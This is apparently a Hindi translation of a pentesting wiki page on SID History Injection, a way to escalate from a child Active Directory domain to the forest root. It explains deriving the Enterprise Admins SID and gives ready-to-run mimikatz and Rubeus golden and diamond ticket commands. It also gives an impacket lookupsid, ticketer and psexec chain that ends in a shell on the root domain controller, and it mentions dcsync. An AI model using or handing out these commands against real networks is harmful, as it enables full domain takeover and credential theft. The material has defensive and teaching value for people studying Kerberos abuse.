SID History Injection Attack का ध्यान डोमेन के बीच उपयोगकर्ता माइग्रेशन में मदद करना है, जबकि पूर्व डोमेन से संसाधनों तक निरंतर पहुंच सुनिश्चित करना है। यह उपयोगकर्ता के पिछले सुरक्षा पहचानकर्ता (SID) को उनके नए खाते के SID इतिहास में शामिल करके किया जाता है। विशेष रूप से, इस प्रक्रिया का दुरुपयोग करके उच्च-विशिष्टता समूह (जैसे एंटरप्राइज एडमिन या डोमेन एडमिन) के SID को SID इतिहास में जोड़कर अनधिकृत पहुंच प्रदान की जा सकती है। इस शोषण से माता-पिता डोमेन के भीतर सभी संसाधनों तक पहुंच मिलती है।
इस हमले को निष्पादित करने के लिए दो तरीके हैं: या तो गोल्डन टिकट के निर्माण के माध्यम से या डायमंड टिकट के माध्यम से।
"Enterprise Admins" समूह के लिए SID को पहचानने के लिए, सबसे पहले मूल डोमेन के SID को ढूंढना होगा। पहचान के बाद, एंटरप्राइज एडमिन समूह SID को मूल डोमेन के SID में -519 जोड़कर बनाया जा सकता है। उदाहरण के लिए, यदि मूल डोमेन SID S-1-5-21-280534878-1496970234-700767426 है, तो "Enterprise Admins" समूह के लिए परिणामस्वरूप SID S-1-5-21-280534878-1496970234-700767426-519 होगा।
आप Domain Admins समूहों का भी उपयोग कर सकते हैं, जो 512 पर समाप्त होता है।
दूसरे डोमेन के एक समूह (उदाहरण के लिए "Domain Admins") का SID खोजने का एक और तरीका है:
mimikatz.exe"kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi""exit"/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
गोल्डन टिकट के बारे में अधिक जानकारी के लिए देखें:
डायमंड टिकट (Rubeus + KRBTGT-AES256)
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500/groups:512/sids:S-1-5-21-378720957-2217973887-3501892633-512/krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash>/domain:<child_domain>/sid:<child_domain_sid>/sids:<parent_domain_sid>-519/user:Administrator /ptt# You can use "Administrator" as username or any other string
डायमंड टिकट के बारे में अधिक जानकारी के लिए देखें:
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py-nthash<krbtgt_hash>-domain<child_domain>-domain-sid<child_domain_sid>-extra-sid<root_domain_sid>Administrator# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10